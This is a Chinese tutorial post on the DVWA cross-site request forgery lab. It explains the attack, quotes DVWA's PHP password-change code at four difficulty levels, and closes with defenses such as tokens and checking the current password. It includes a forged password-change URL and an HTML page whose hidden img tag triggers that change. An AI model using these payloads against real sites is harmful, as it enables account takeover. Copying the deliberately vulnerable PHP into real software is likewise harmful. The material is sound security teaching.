zoukankan      html  css  js  c++  java
  • DVWA-CSRF

    0x01 CSRF

    CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。

    0x02 Low级别

    可以构造恶意的url地址或者页面,都可以达到目的。

    恶意的url地址:

    http://ip/DVWA/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#

    或者构造恶意页面,使用img标签

    <!DOCTYPE html>
    <html>
    <head>
        <title></title>
    </head>
    <body>
        <img src="http://192.168.84.129/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#">
        <h1>404</h1>
        <h2>file not found</h2>
    </body>
    </html>

    注意:这里的html文件,必须是打开DVWA的浏览器。因为如果用户使用A浏览器访问站点,又使用B浏览器访问恶意页面,就不会触发漏洞。

    代码如下:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // 获取用户的输入
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // 确认两次输入的密码是否相同,相同就更新数据库内的信息
        if( $pass_new == $pass_conf ) {
            // 以下两段代码都是防止SQL注入的
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : 
    ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 更新数据库内的信息,具体函数作用以及对代码的理解,在暴力破解那里我写过的,这里就不写了 $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston
    "]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 修改成功,返回信息给用户 echo "<pre>Password Changed.</pre>"; } else { // 两次输入的密码不同,所以返回信息给用户 echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

    0x03 Medium级别

    代码如下:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // 检查请求来自何处。stripos函数用于查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
        if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
            // 获取用户输入
            $pass_new  = $_GET[ 'password_new' ];
            $pass_conf = $_GET[ 'password_conf' ];
    
            if( $pass_new == $pass_conf ) {
                // 下面的代码与Low级别差不多
                $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new 
    ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["
    ___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } } else { // 这里返回信息给用户是因为最开始的检查来源不正确 echo "<pre>That request didn't look correct.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

    0x04 High级别

    代码如下:

    大部分都和Low级别一样,high级别只是加入了token,但是这样能够防止大部分的CSRF利用。因为只有获取token才能进行CSRF,但是浏览器的跨域问题,不能直接获取,所以比较难以利用。但是如果服务器存在存储XSS可以获取token。然后可以构造url和代码进行CSRF利用。

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // 检查token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        if( $pass_new == $pass_conf ) {
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new )
    : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_s
    ton"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } // 生成token generateSessionToken(); ?>

    0x05 Impossible级别

    代码如下:

    <?php
    
    if( isset( $_GET[ 'Change' ] ) ) {
        // 检查token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // 这里会要求用户输入旧密码,以及输入两次的新密码,这里就可以防止CSRF
        $pass_curr = $_GET[ 'password_current' ];
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
    
        // 这里是因为要通过数据库验证用户的旧密码,所以需要防止SQL注入
        $pass_curr = stripslashes( $pass_curr );
        $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) 
    : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_curr = md5( $pass_curr ); // 下面的代码是通过数据库验证旧密码的正确性 $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR ); $data->execute(); // 这里当两次新密码都相同且旧密码正确才会进行修改密码 if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { // 将新密码进行一些过滤,避免SQL注入 $pass_new = stripslashes( $pass_new ); $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // 更新数据库 $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password', $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); echo "<pre>Password Changed.</pre>"; } else { // 两次输入的新密码不相同或者旧密码错误都会报错 echo "<pre>Passwords did not match or current password incorrect.</pre>"; } } // 生成token generateSessionToken(); ?>

    0x06 总结

    1.为了防止CSRF,可以加入Anti-CSRF,每次向客户端发送一个随机数,当客户端向服务端发送数据时,比对随机数以此来确定客户端身份。
    2.获取当前用户的密码,以此判断是否是当前用户的操作,而非CSRF攻击。
  • 相关阅读:
    页面滚动性能优化之passive
    【webpack4x】部分底层原理及手写一个简单打包工具
    【webpack4x】实战配置及问题解析
    【webpack4x】高级概念
    【webpack4x】核心概念
    VMware虚拟机服务的vmware-hostd自动启动和停止
    海淘电商网址
    一键批量ping任意ip段的存活主机
    cpanel导入大数据库(mysql)的方法
    awstats 日志分析
  • 原文地址:https://www.cnblogs.com/-an-/p/12367534.html
Copyright © 2011-2022 走看看